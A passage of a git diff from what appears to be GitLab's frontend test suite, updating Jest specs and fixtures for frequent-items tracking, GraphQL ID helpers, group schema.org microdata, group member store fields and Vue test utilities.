-<div data-can-create-pipeline="true" data-ci-lint-path="foo" data-empty-state-svg-path="foo" data-endpoint="foo" data-error-state-svg-path="foo" data-has-ci="foo" data-help-auto-devops-path="foo" data-help-page-path="foo" data-new-pipeline-path="foo" data-reset-cache-path="foo" id="pipelines-list-vue"></div>
-</div>
diff --git a/spec/frontend/fixtures/static/project_select_combo_button.html b/spec/frontend/fixtures/static/project_select_combo_button.html
index 50c826051c0..f13f9075706 100644
--- a/spec/frontend/fixtures/static/project_select_combo_button.html
+++ b/spec/frontend/fixtures/static/project_select_combo_button.html
@@ -1,9 +1,9 @@
<div class="project-item-select-holder">
-<input class="project-item-select" data-group-id="12345" data-relative-path="issues/new">
-<a class="new-project-item-link" data-label="New issue" data-type="issues" href="">
-<i class="fa fa-spinner spin"></i>
-</a>
-<a class="new-project-item-select-button">
-<i class="fa fa-caret-down"></i>
-</a>
+ <input class="project-item-select" data-group-id="12345" data-relative-path="issues/new" />
+ <a class="new-project-item-link" data-label="New issue" data-type="issues" href="">
+ <span class="gl-spinner"></span>
+ </a>
+ <a class="new-project-item-select-button">
+ <i class="fa fa-caret-down"></i>
+ </a>
</div>
diff --git a/spec/frontend/fixtures/static/whats_new_notification.html b/spec/frontend/fixtures/static/whats_new_notification.html
new file mode 100644
index 00000000000..30d5eea91cc
--- /dev/null
+++ b/spec/frontend/fixtures/static/whats_new_notification.html
@@ -0,0 +1,6 @@
+<div class='whats-new-notification-fixture-root'>
+ <div class='app' data-storage-key='storage-key'></div>
+ <div class='header-help'>
+ <div class='js-whats-new-notification-count'></div>
+ </div>
+</div>
diff --git a/spec/frontend/fixtures/tags.rb b/spec/frontend/fixtures/tags.rb
index b2a5429fac8..9483f0a4492 100644
--- a/spec/frontend/fixtures/tags.rb
+++ b/spec/frontend/fixtures/tags.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe 'Tags (JavaScript fixtures)' do
include JavaScriptFixturesHelpers
- let_it_be(:admin) { create(:admin) }
let_it_be(:project) { create(:project, :repository, path: 'tags-project') }
+ let_it_be(:user) { project.owner }
before(:all) do
clean_frontend_fixtures('api/tags/')
@@ -20,7 +20,7 @@ RSpec.describe 'Tags (JavaScript fixtures)' do
include ApiHelpers
it 'api/tags/tags.json' do
- get api("/projects/#{project.id}/repository/tags", admin)
+ get api("/projects/#{project.id}/repository/tags", user)
expect(response).to be_successful
end
diff --git a/spec/frontend/fixtures/todos.rb b/spec/frontend/fixtures/todos.rb
index 399be272e9b..985afafe50e 100644
--- a/spec/frontend/fixtures/todos.rb
+++ b/spec/frontend/fixtures/todos.rb
@@ -5,13 +5,13 @@ require 'spec_helper'
RSpec.describe 'Todos (JavaScript fixtures)' do
include JavaScriptFixturesHelpers
- let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project_empty_repo, namespace: namespace, path: 'todos-project') }
+ let(:user) { project.owner }
let(:issue_1) { create(:issue, title: 'issue_1', project: project) }
- let!(:todo_1) { create(:todo, user: admin, project: project, target: issue_1, created_at: 5.hours.ago) }
+ let!(:todo_1) { create(:todo, user: user, project: project, target: issue_1, created_at: 5.hours.ago) }
let(:issue_2) { create(:issue, title: 'issue_2', project: project) }
- let!(:todo_2) { create(:todo, :done, user: admin, project: project, target: issue_2, created_at: 50.hours.ago) }
+ let!(:todo_2) { create(:todo, :done, user: user, project: project, target: issue_2, created_at: 50.hours.ago) }
before(:all) do
clean_frontend_fixtures('todos/')
@@ -25,7 +25,7 @@ RSpec.describe 'Todos (JavaScript fixtures)' do
render_views
before do
- sign_in(admin)
+ sign_in(user)
end
it 'todos/todos.html' do
@@ -39,7 +39,7 @@ RSpec.describe 'Todos (JavaScript fixtures)' do
render_views
before do
- sign_in(admin)
+ sign_in(user)
end
it 'todos/todos.json' do
diff --git a/spec/frontend/frequent_items/components/app_spec.js b/spec/frontend/frequent_items/components/app_spec.js
index b4f36b82385..439a410eaa1 100644
--- a/spec/frontend/frequent_items/components/app_spec.js
+++ b/spec/frontend/frequent_items/components/app_spec.js
@@ -6,10 +6,10 @@ import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
import appComponent from '~/frequent_items/components/app.vue';
import eventHub from '~/frequent_items/event_hub';
-import store from '~/frequent_items/store';
import { FREQUENT_ITEMS, HOUR_IN_MS } from '~/frequent_items/constants';
import { getTopFrequentItems } from '~/frequent_items/utils';
import { currentSession, mockFrequentProjects, mockSearchedProjects } from '../mock_data';
+import { createStore } from '~/frequent_items/store';
useLocalStorageSpy();
@@ -18,6 +18,7 @@ const createComponentWithStore = (namespace = 'projects') => {
session = currentSession[namespace];
gon.api_version = session.apiVersion;
const Component = Vue.extend(appComponent);
+ const store = createStore();
return mountComponentWithStore(Component, {
store,
diff --git a/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js b/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
index ab5784b8f7a..1160ed5c84b 100644
--- a/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_list_item_spec.js
@@ -1,10 +1,14 @@
import { shallowMount } from '@vue/test-utils';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
import { trimText } from 'helpers/text_helper';
import frequentItemsListItemComponent from '~/frequent_items/components/frequent_items_list_item.vue';
-import { mockProject } from '../mock_data'; // can also use 'mockGroup', but not useful to test here
+import { createStore } from '~/frequent_items/store';
+import { mockProject } from '../mock_data';
describe('FrequentItemsListItemComponent', () => {
let wrapper;
+ let trackingSpy;
+ let store = createStore();
const findTitle = () => wrapper.find({ ref: 'frequentItemsItemTitle' });
const findAvatar = () => wrapper.find({ ref: 'frequentItemsItemAvatar' });
@@ -18,6 +22,7 @@ describe('FrequentItemsListItemComponent', () => {
const createComponent = (props = {}) => {
wrapper = shallowMount(frequentItemsListItemComponent, {
+ store,
propsData: {
itemId: mockProject.id,
itemName: mockProject.name,
@@ -29,7 +34,14 @@ describe('FrequentItemsListItemComponent', () => {
});
};
+ beforeEach(() => {
+ store = createStore({ dropdownType: 'project' });
+ trackingSpy = mockTracking('_category_', document, jest.spyOn);
+ trackingSpy.mockImplementation(() => {});
+ });
+
afterEach(() => {
+ unmockTracking();
wrapper.destroy();
wrapper = null;
});
@@ -97,5 +109,18 @@ describe('FrequentItemsListItemComponent', () => {
`('should render $expected $name', ({ selector, expected }) => {
expect(selector()).toHaveLength(expected);
});
+
+ it('tracks when item link is clicked', () => {
+ const link = wrapper.find('a');
+ // NOTE: this listener is required to prevent the click from going through and causing:
+ // `Error: Not implemented: navigation ...`
+ link.element.addEventListener('click', e => {
+ e.preventDefault();
+ });
+ link.trigger('click');
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_link', {
+ label: 'project_dropdown_frequent_items_list_item',
+ });
+ });
});
});
diff --git a/spec/frontend/frequent_items/components/frequent_items_list_spec.js b/spec/frontend/frequent_items/components/frequent_items_list_spec.js
index 238fd508053..96f73ab1468 100644
--- a/spec/frontend/frequent_items/components/frequent_items_list_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_list_spec.js
@@ -1,4 +1,5 @@
import { mount } from '@vue/test-utils';
+import { createStore } from '~/frequent_items/store';
import frequentItemsListComponent from '~/frequent_items/components/frequent_items_list.vue';
import frequentItemsListItemComponent from '~/frequent_items/components/frequent_items_list_item.vue';
import { mockFrequentProjects } from '../mock_data';
@@ -8,6 +9,7 @@ describe('FrequentItemsListComponent', () => {
const createComponent = (props = {}) => {
wrapper = mount(frequentItemsListComponent, {
+ store: createStore(),
propsData: {
namespace: 'projects',
items: mockFrequentProjects,
@@ -25,7 +27,7 @@ describe('FrequentItemsListComponent', () => {
describe('computed', () => {
describe('isListEmpty', () => {
- it('should return `true` or `false` representing whether if `items` is empty or not with projects', () => {
+ it('should return `true` or `false` representing whether if `items` is empty or not with projects', async () => {
createComponent({
items: [],
});
@@ -35,13 +37,14 @@ describe('FrequentItemsListComponent', () => {
wrapper.setProps({
items: mockFrequentProjects,
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.isListEmpty).toBe(false);
});
});
describe('fetched item messages', () => {
- it('should return appropriate empty list message based on value of `localStorageFailed` prop with projects', () => {
+ it('should return appropriate empty list message based on value of `localStorageFailed` prop with projects', async () => {
createComponent({
isFetchFailed: true,
});
@@ -53,13 +56,14 @@ describe('FrequentItemsListComponent', () => {
wrapper.setProps({
isFetchFailed: false,
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.listEmptyMessage).toBe('Projects you visit often will appear here');
});
});
describe('searched item messages', () => {
- it('should return appropriate empty list message based on value of `searchFailed` prop with projects', () => {
+ it('should return appropriate empty list message based on value of `searchFailed` prop with projects', async () => {
createComponent({
hasSearchQuery: true,
isFetchFailed: true,
@@ -70,6 +74,7 @@ describe('FrequentItemsListComponent', () => {
wrapper.setProps({
isFetchFailed: false,
});
+ await wrapper.vm.$nextTick();
expect(wrapper.vm.listEmptyMessage).toBe('Sorry, no projects matched your search');
});
diff --git a/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js b/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js
index c5155315bb9..f5e654e6bcb 100644
--- a/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_search_input_spec.js
@@ -1,23 +1,35 @@
import { shallowMount } from '@vue/test-utils';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
import searchComponent from '~/frequent_items/components/frequent_items_search_input.vue';
+import { createStore } from '~/frequent_items/store';
import eventHub from '~/frequent_items/event_hub';
-const createComponent = (namespace = 'projects') =>
- shallowMount(searchComponent, {
- propsData: { namespace },
- });
-
describe('FrequentItemsSearchInputComponent', () => {
let wrapper;
+ let trackingSpy;
let vm;
+ let store;
+
+ const createComponent = (namespace = 'projects') =>
+ shallowMount(searchComponent, {
+ store,
+ propsData: { namespace },
+ });
beforeEach(() => {
+ store = createStore({ dropdownType: 'project' });
+ jest.spyOn(store, 'dispatch').mockImplementation(() => {});
+
+ trackingSpy = mockTracking('_category_', document, jest.spyOn);
+ trackingSpy.mockImplementation(() => {});
+
wrapper = createComponent();
({ vm } = wrapper);
});
afterEach(() => {
+ unmockTracking();
vm.$destroy();
});
@@ -76,4 +88,24 @@ describe('FrequentItemsSearchInputComponent', () => {
);
});
});
+
+ describe('tracking', () => {
+ it('tracks when search query is entered', async () => {
+ expect(trackingSpy).not.toHaveBeenCalled();
+ expect(store.dispatch).not.toHaveBeenCalled();
+
+ const value = 'my project';
+
+ const input = wrapper.find('input');
+ input.setValue(value);
+ input.trigger('input');
+
+ await wrapper.vm.$nextTick();
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'type_search_query', {
+ label: 'project_dropdown_frequent_items_search_input',
+ });
+ expect(store.dispatch).toHaveBeenCalledWith('setSearchQuery', value);
+ });
+ });
});
diff --git a/spec/frontend/frequent_items/mock_data.js b/spec/frontend/frequent_items/mock_data.js
index 8c3c66f67ff..5e15b4b33e0 100644
--- a/spec/frontend/frequent_items/mock_data.js
+++ b/spec/frontend/frequent_items/mock_data.js
@@ -30,7 +30,6 @@ export const currentSession = {
};
export const mockNamespace = 'projects';
-
export const mockStorageKey = 'test-user/frequent-projects';
export const mockGroup = {
diff --git a/spec/frontend/graphql_shared/utils_spec.js b/spec/frontend/graphql_shared/utils_spec.js
index 6a630195126..d392b0f0575 100644
--- a/spec/frontend/graphql_shared/utils_spec.js
+++ b/spec/frontend/graphql_shared/utils_spec.js
@@ -1,4 +1,12 @@
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import {
+ getIdFromGraphQLId,
+ convertToGraphQLId,
+ convertToGraphQLIds,
+} from '~/graphql_shared/utils';
+
+const mockType = 'Group';
+const mockId = 12;
+const mockGid = `gid://gitlab/Group/12`;
describe('getIdFromGraphQLId', () => {
[
@@ -44,3 +52,32 @@ describe('getIdFromGraphQLId', () => {
});
});
});
+
+describe('convertToGraphQLId', () => {
+ it('combines $type and $id into $result', () => {
+ expect(convertToGraphQLId(mockType, mockId)).toBe(mockGid);
+ });
+
+ it.each`
+ type | id | message
+ ${mockType} | ${null} | ${'id must be a number or string; got object'}
+ ${null} | ${mockId} | ${'type must be a string; got object'}
+ `('throws TypeError with "$message" if a param is missing', ({ type, id, message }) => {
+ expect(() => convertToGraphQLId(type, id)).toThrow(new TypeError(message));
+ });
+});
+
+describe('convertToGraphQLIds', () => {
+ it('combines $type and $id into $result', () => {
+ expect(convertToGraphQLIds(mockType, [mockId])).toStrictEqual([mockGid]);
+ });
+
+ it.each`
+ type | ids | message
+ ${mockType} | ${null} | ${"Cannot read property 'map' of null"}
+ ${mockType} | ${[mockId, null]} | ${'id must be a number or string; got object'}
+ ${null} | ${[mockId]} | ${'type must be a string; got object'}
+ `('throws TypeError with "$message" if a param is missing', ({ type, ids, message }) => {
+ expect(() => convertToGraphQLIds(type, ids)).toThrow(new TypeError(message));
+ });
+});
diff --git a/spec/frontend/groups/components/app_spec.js b/spec/frontend/groups/components/app_spec.js
index 691f8896d74..72d8e23f28b 100644
--- a/spec/frontend/groups/components/app_spec.js
+++ b/spec/frontend/groups/components/app_spec.js
@@ -35,7 +35,7 @@ describe('AppComponent', () => {
let mock;
let getGroupsSpy;
- const store = new GroupsStore(false);
+ const store = new GroupsStore({ hideProjects: false });
const service = new GroupsService(mockEndpoint);
const createShallowComponent = (hideProjects = false) => {
diff --git a/spec/frontend/groups/components/group_item_spec.js b/spec/frontend/groups/components/group_item_spec.js
index 83acbb152b5..32bae812c86 100644
--- a/spec/frontend/groups/components/group_item_spec.js
+++ b/spec/frontend/groups/components/group_item_spec.js
@@ -2,6 +2,7 @@ import Vue from 'vue';
import mountComponent from 'helpers/vue_mount_component_helper';
import groupItemComponent from '~/groups/components/group_item.vue';
import groupFolderComponent from '~/groups/components/group_folder.vue';
+import { getGroupItemMicrodata } from '~/groups/store/utils';
import eventHub from '~/groups/event_hub';
import * as urlUtilities from '~/lib/utils/url_utility';
import { mockParentGroupItem, mockChildren } from '../mock_data';
@@ -30,6 +31,11 @@ describe('GroupItemComponent', () => {
vm.$destroy();
});
+ const withMicrodata = group => ({
+ ...group,
+ microdata: getGroupItemMicrodata(group),
+ });
+
describe('computed', () => {
describe('groupDomId', () => {
it('should return ID string suffixed with group ID', () => {
@@ -212,4 +218,47 @@ describe('GroupItemComponent', () => {
expect(vm.$el.querySelector('.group-list-tree')).toBeDefined();
});
});
+ describe('schema.org props', () => {
+ describe('when showSchemaMarkup is disabled on the group', () => {
+ it.each(['itemprop', 'itemtype', 'itemscope'], 'it does not set %s', attr => {
+ expect(vm.$el.getAttribute(attr)).toBeNull();
+ });
+ it.each(
+ ['.js-group-avatar', '.js-group-name', '.js-group-description'],
+ 'it does not set `itemprop` on sub-nodes',
+ selector => {
+ expect(vm.$el.querySelector(selector).getAttribute('itemprop')).toBeNull();
+ },
+ );
+ });
+ describe('when group has microdata', () => {
+ beforeEach(() => {
+ const group = withMicrodata({
+ ...mockParentGroupItem,
+ avatarUrl: 'http://foo.bar',
+ description: 'Foo Bar',
+ });
+
+ vm = createComponent(group);
+ });
+
+ it.each`
+ attr | value
+ ${'itemscope'} | ${'itemscope'}
+ ${'itemtype'} | ${'https://schema.org/Organization'}
+ ${'itemprop'} | ${'subOrganization'}
+ `('it does set correct $attr', ({ attr, value } = {}) => {
+ expect(vm.$el.getAttribute(attr)).toBe(value);
+ });
+
+ it.each`
+ selector | propValue
+ ${'[data-testid="group-avatar"]'} | ${'logo'}
+ ${'[data-testid="group-name"]'} | ${'name'}
+ ${'[data-testid="group-description"]'} | ${'description'}
+ `('it does set correct $selector', ({ selector, propValue } = {}) => {
+ expect(vm.$el.querySelector(selector).getAttribute('itemprop')).toBe(propValue);
+ });
+ });
+ });
});
diff --git a/spec/frontend/groups/components/visibility_level_dropdown_spec.js b/spec/frontend/groups/components/visibility_level_dropdown_spec.js
new file mode 100644
index 00000000000..bf9508dc768
--- /dev/null
+++ b/spec/frontend/groups/components/visibility_level_dropdown_spec.js
@@ -0,0 +1,73 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Component from '~/groups/components/visibility_level_dropdown.vue';
+
+describe('Visibility Level Dropdown', () => {
+ let wrapper;
+
+ const options = [
+ { level: 0, label: 'Private', description: 'Private description' },
+ { level: 20, label: 'Public', description: 'Public description' },
+ ];
+ const defaultLevel = 0;
+
+ const createComponent = propsData => {
+ wrapper = shallowMount(Component, {
+ propsData,
+ });
+ };
+
+ beforeEach(() => {
+ createComponent({
+ visibilityLevelOptions: options,
+ defaultLevel,
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const hiddenInputValue = () =>
+ wrapper.find("input[name='group[visibility_level]']").attributes('value');
+ const dropdownText = () => wrapper.find(GlDropdown).props('text');
+ const findDropdownItems = () =>
+ wrapper.findAll(GlDropdownItem).wrappers.map(option => ({
+ text: option.text(),
+ secondaryText: option.props('secondaryText'),
+ }));
+
+ describe('Default values', () => {
+ it('sets the value of the hidden input to the default value', () => {
+ expect(hiddenInputValue()).toBe(options[0].level.toString());
+ });
+
+ it('sets the text of the dropdown to the default value', () => {
+ expect(dropdownText()).toBe(options[0].label);
+ });
+
+ it('shows all dropdown options', () => {
+ expect(findDropdownItems()).toEqual(
+ options.map(({ label, description }) => ({ text: label, secondaryText: description })),
+ );
+ });
+ });
+
+ describe('Selecting an option', () => {
+ beforeEach(() => {
+ wrapper
+ .findAll(GlDropdownItem)
+ .at(1)
+ .vm.$emit('click');
+ });
+
+ it('sets the value of the hidden input to the selected value', () => {
+ expect(hiddenInputValue()).toBe(options[1].level.toString());
+ });
+
+ it('sets the text of the dropdown to the selected value', () => {
+ expect(dropdownText()).toBe(options[1].label);
+ });
+ });
+});
diff --git a/spec/frontend/groups/members/components/app_spec.js b/spec/frontend/groups/members/components/app_spec.js
index de9f30649e9..208e2fc35b6 100644
--- a/spec/frontend/groups/members/components/app_spec.js
+++ b/spec/frontend/groups/members/components/app_spec.js
@@ -3,12 +3,10 @@ import { nextTick } from 'vue';
import Vuex from 'vuex';
import { GlAlert } from '@gitlab/ui';
import App from '~/groups/members/components/app.vue';
+import FilterSortContainer from '~/members/components/filter_sort/filter_sort_container.vue';
import * as commonUtils from '~/lib/utils/common_utils';
-import {
- RECEIVE_MEMBER_ROLE_ERROR,
- HIDE_ERROR,
-} from '~/vuex_shared/modules/members/mutation_types';
-import mutations from '~/vuex_shared/modules/members/mutations';
+import { RECEIVE_MEMBER_ROLE_ERROR, HIDE_ERROR } from '~/members/store/mutation_types';
+import mutations from '~/members/store/mutations';
describe('GroupMembersApp', () => {
const localVue = createLocalVue();
@@ -17,7 +15,7 @@ describe('GroupMembersApp', () => {
let wrapper;
let store;
- const createComponent = (state = {}) => {
+ const createComponent = (state = {}, options = {}) => {
store = new Vuex.Store({
state: {
showError: true,
@@ -30,10 +28,12 @@ describe('GroupMembersApp', () => {
wrapper = shallowMount(App, {
localVue,
store,
+ ...options,
});
};
const findAlert = () => wrapper.find(GlAlert);
+ const findFilterSortContainer = () => wrapper.find(FilterSortContainer);
beforeEach(() => {
commonUtils.scrollToElement = jest.fn();
@@ -86,4 +86,22 @@ describe('GroupMembersApp', () => {
expect(findAlert().exists()).toBe(false);
});
});
+
+ describe.each`
+ featureFlagValue | exists
+ ${true} | ${true}
+ ${false} | ${false}
+ `(
+ 'when `group_members_filtered_search` feature flag is $featureFlagValue',
+ ({ featureFlagValue, exists }) => {
+ it(`${exists ? 'renders' : 'does not render'} FilterSortContainer`, () => {
+ createComponent(
+ {},
+ { provide: { glFeatures: { groupMembersFilteredSearch: featureFlagValue } } },
+ );
+
+ expect(findFilterSortContainer().exists()).toBe(exists);
+ });
+ },
+ );
});
diff --git a/spec/frontend/groups/members/index_spec.js b/spec/frontend/groups/members/index_spec.js
index aaa36665c45..5c717e53229 100644
--- a/spec/frontend/groups/members/index_spec.js
+++ b/spec/frontend/groups/members/index_spec.js
@@ -9,12 +9,13 @@ describe('initGroupMembersApp', () => {
let wrapper;
const setup = () => {
- vm = initGroupMembersApp(
- el,
- ['account'],
- { table: { 'data-qa-selector': 'members_list' } },
- () => ({}),
- );
+ vm = initGroupMembersApp(el, {
+ tableFields: ['account'],
+ tableAttrs: { table: { 'data-qa-selector': 'members_list' } },
+ tableSortableFields: ['account'],
+ requestFormatter: () => ({}),
+ filteredSearchBar: { show: false },
+ });
wrapper = createWrapper(vm);
};
@@ -22,6 +23,7 @@ describe('initGroupMembersApp', () => {
el = document.createElement('div');
el.setAttribute('data-members', membersJsonString);
el.setAttribute('data-group-id', '234');
+ el.setAttribute('data-can-manage-members', 'true');
el.setAttribute('data-member-path', '/groups/foo-bar/-/group_members/:id');
window.gon = { current_user_id: 123 };
@@ -61,6 +63,12 @@ describe('initGroupMembersApp', () => {
expect(vm.$store.state.sourceId).toBe(234);
});
+ it('parses and sets `data-can-manage-members` as `canManageMembers` in Vuex store', () => {
+ setup();
+
+ expect(vm.$store.state.canManageMembers).toBe(true);
+ });
+
it('parses and sets `members` in Vuex store', () => {
setup();
@@ -79,12 +87,24 @@ describe('initGroupMembersApp', () => {
expect(vm.$store.state.tableAttrs).toEqual({ table: { 'data-qa-selector': 'members_list' } });
});
+ it('sets `tableSortableFields` in Vuex store', () => {
+ setup();
+
+ expect(vm.$store.state.tableSortableFields).toEqual(['account']);
+ });
+
it('sets `requestFormatter` in Vuex store', () => {
setup();
expect(vm.$store.state.requestFormatter()).toEqual({});
});
+ it('sets `filteredSearchBar` in Vuex store', () => {
+ setup();
+
+ expect(vm.$store.state.filteredSearchBar).toEqual({ show: false });
+ });
+
it('sets `memberPath` in Vuex store', () => {
setup();
diff --git a/spec/frontend/groups/members/utils_spec.js b/spec/frontend/groups/members/utils_spec.js
index b0921c7642f..68945174e9d 100644
--- a/spec/frontend/groups/members/utils_spec.js
+++ b/spec/frontend/groups/members/utils_spec.js
@@ -13,6 +13,7 @@ describe('group member utils', () => {
el = document.createElement('div');
el.setAttribute('data-members', membersJsonString);
el.setAttribute('data-group-id', '234');
+ el.setAttribute('data-can-manage-members', 'true');
});
afterEach(() => {
@@ -23,6 +24,7 @@ describe('group member utils', () => {
expect(parseDataAttributes(el)).toEqual({
members: membersParsed,
sourceId: 234,
+ canManageMembers: true,
});
});
});
diff --git a/spec/frontend/groups/store/groups_store_spec.js b/spec/frontend/groups/store/groups_store_spec.js
index 7d12f73d270..8ac5d7099f1 100644
--- a/spec/frontend/groups/store/groups_store_spec.js
+++ b/spec/frontend/groups/store/groups_store_spec.js
@@ -1,4 +1,5 @@
import GroupsStore from '~/groups/store/groups_store';
+import { getGroupItemMicrodata } from '~/groups/store/utils';
import {
mockGroups,
mockSearchedGroups,
@@ -17,9 +18,9 @@ describe('ProjectsStore', () => {
expect(Object.keys(store.state).length).toBe(2);
expect(Array.isArray(store.state.groups)).toBeTruthy();
expect(Object.keys(store.state.pageInfo).length).toBe(0);
- expect(store.hideProjects).not.toBeDefined();
+ expect(store.hideProjects).toBeFalsy();
- store = new GroupsStore(true);
+ store = new GroupsStore({ hideProjects: true });
expect(store.hideProjects).toBeTruthy();
});
@@ -86,22 +87,30 @@ describe('ProjectsStore', () => {
describe('formatGroupItem', () => {
it('should parse group item object and return updated object', () => {
- let store;
- let updatedGroupItem;
-
- store = new GroupsStore();
- updatedGroupItem = store.formatGroupItem(mockRawChildren[0]);
+ const store = new GroupsStore();
+ const updatedGroupItem = store.formatGroupItem(mockRawChildren[0]);
expect(Object.keys(updatedGroupItem).indexOf('fullName')).toBeGreaterThan(-1);
expect(updatedGroupItem.childrenCount).toBe(mockRawChildren[0].children_count);
expect(updatedGroupItem.isChildrenLoading).toBe(false);
expect(updatedGroupItem.isBeingRemoved).toBe(false);
+ expect(updatedGroupItem.microdata).toEqual({});
+ });
- store = new GroupsStore(true);
- updatedGroupItem = store.formatGroupItem(mockRawChildren[0]);
+ it('with hideProjects', () => {
+ const store = new GroupsStore({ hideProjects: true });
+ const updatedGroupItem = store.formatGroupItem(mockRawChildren[0]);
expect(Object.keys(updatedGroupItem).indexOf('fullName')).toBeGreaterThan(-1);
expect(updatedGroupItem.childrenCount).toBe(mockRawChildren[0].subgroup_count);
+ expect(updatedGroupItem.microdata).toEqual({});
+ });
+
+ it('with showSchemaMarkup', () => {
+ const store = new GroupsStore({ showSchemaMarkup: true });
+ const updatedGroupItem = store.formatGroupItem(mockRawChildren[0]);
+
+ expect(updatedGroupItem.microdata).toEqual(getGroupItemMicrodata(mockRawChildren[0]));
});
});
diff --git a/spec/frontend/groups/store/utils_spec.js b/spec/frontend/groups/store/utils_spec.js
new file mode 100644
index 00000000000..0961d4c72b4
--- /dev/null
+++ b/spec/frontend/groups/store/utils_spec.js
@@ -0,0 +1,44 @@
+import { getGroupItemMicrodata } from '~/groups/store/utils';
+
+describe('~/groups/store/utils', () => {
+ describe('getGroupItemMetadata', () => {
+ it('has default type', () => {
+ expect(getGroupItemMicrodata({ type: 'silly' })).toMatchInlineSnapshot(`
+ Object {
+ "descriptionItemprop": "description",
+ "imageItemprop": "image",
+ "itemprop": "owns",
+ "itemscope": true,
+ "itemtype": "https://schema.org/Thing",
+ "nameItemprop": "name",
+ }
+ `);
+ });
+
+ it('has group props', () => {
+ expect(getGroupItemMicrodata({ type: 'group' })).toMatchInlineSnapshot(`
+ Object {
+ "descriptionItemprop": "description",
+ "imageItemprop": "logo",
+ "itemprop": "subOrganization",
+ "itemscope": true,
+ "itemtype": "https://schema.org/Organization",
+ "nameItemprop": "name",
+ }
+ `);
+ });
+
+ it('has project props', () => {
+ expect(getGroupItemMicrodata({ type: 'project' })).toMatchInlineSnapshot(`
+ Object {
+ "descriptionItemprop": "description",
+ "imageItemprop": "image",
+ "itemprop": "owns",
+ "itemscope": true,
+ "itemtype": "https://schema.org/SoftwareSourceCode",
+ "nameItemprop": "name",
+ }
+ `);
+ });
+ });
+});
diff --git a/spec/frontend/helpers/stub_component.js b/spec/frontend/helpers/stub_component.js
new file mode 100644
index 00000000000..45550450517
--- /dev/null
+++ b/spec/frontend/helpers/stub_component.js
@@ -0,0 +1,12 @@
+export function stubComponent(Component, options = {}) {
+ return {
+ props: Component.props,
+ model: Component.model,
+ // Do not render any slots/scoped slots except default
+ // This differs from VTU behavior which renders all slots
+ template: '<div><slot></slot></div>',
+ // allows wrapper.find(Component) to work for stub
+ $_vueTestUtils_original: Component,
+ ...options,
+ };
+}
diff --git a/spec/frontend/helpers/vue_test_utils_helper.js b/spec/frontend/helpers/vue_test_utils_helper.js
index ead898f04d3..0e9127b5c65 100644
--- a/spec/frontend/helpers/vue_test_utils_helper.js
+++ b/spec/frontend/helpers/vue_test_utils_helper.js
@@ -1,3 +1,5 @@
+import { isArray } from 'lodash';
+
const vNodeContainsText = (vnode, text) =>
(vnode.text && vnode.text.includes(text)) ||
(vnode.children && vnode.children.filter(child => vNodeContainsText(child, text)).length);
@@ -34,9 +36,18 @@ export const waitForMutation = (store, expectedMutationType) =>
});
});
-export const extendedWrapper = wrapper =>
- Object.defineProperty(wrapper, 'findByTestId', {
+export const extendedWrapper = wrapper => {
+ if (isArray(wrapper) || !wrapper?.find) {
+ // eslint-disable-next-line no-console
+ console.warn(
+ '[vue-test-utils-helper]: you are trying to extend an object that is not a VueWrapper.',
+ );
+ return wrapper;
+ }
+
+ return Object.defineProperty(wrapper, 'findByTestId', {
value(id) {
return this.find(`[data-testid="${id}"]`);
},
});
+};
diff --git a/spec/frontend/helpers/vue_test_utils_helper_spec.js b/spec/frontend/helpers/vue_test_utils_helper_spec.js
index 41714066da5..31c4ccd5dbb 100644
--- a/spec/frontend/helpers/vue_test_utils_helper_spec.js
+++ b/spec/frontend/helpers/vue_test_utils_helper_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { shallowWrapperContainsSlotText } from './vue_test_utils_helper';
+import { extendedWrapper, shallowWrapperContainsSlotText } from './vue_test_utils_helper';
describe('Vue test utils helpers', () => {
describe('shallowWrapperContainsSlotText', () => {
@@ -45,4 +45,48 @@ describe('Vue test utils helpers', () => {
expect(shallowWrapperContainsSlotText(mockComponent, 'namedSlot', searchText)).toBe(false);
});
});
+
+ describe('extendedWrapper', () => {
+ describe('when an invalid wrapper is provided', () => {
+ beforeEach(() => {
+ // eslint-disable-next-line no-console
+ console.warn = jest.fn();
+ });
+
+ it.each`
+ wrapper
+ ${{}}
+ ${[]}
+ ${null}
+ ${undefined}
+ ${1}
+ ${''}
+ `('should warn with an error when the wrapper is $wrapper', ({ wrapper }) => {
+ extendedWrapper(wrapper);
+ /* eslint-disable no-console */
+ expect(console.warn).toHaveBeenCalled();
+ expect(console.warn).toHaveBeenCalledWith(
+ '[vue-test-utils-helper]: you are trying to extend an object that is not a VueWrapper.',
+ );
+ /* eslint-enable no-console */
+ });
+ });
+
+ describe('findByTestId', () => {
+ const testId = 'a-component';
+ let mockComponent;
+
+ beforeEach(() => {
+ mockComponent = extendedWrapper(
+ shallowMount({
+ template: `<div data-testid="${testId}"></div>`,
+ }),
+ );
+ });
+
+ it('should find the component by test id', () => {
+ expect(mockComponent.findByTestId(testId).exists()).toBe(true);
+ });
+ });
+ });
});
diff --git a/spec/frontend/helpers/vuex_action_helper.js b/spec/frontend/helpers/vuex_action_helper.js
index 6c3569a2247..64dd3888d47 100644
--- a/spec/frontend/helpers/vuex_action_helper.js
+++ b/spec/frontend/helpers/vuex_action_helper.js
@@ -4,7 +4,7 @@ const noop = () => {};
* Helper for testing action with expected mutations inspired in
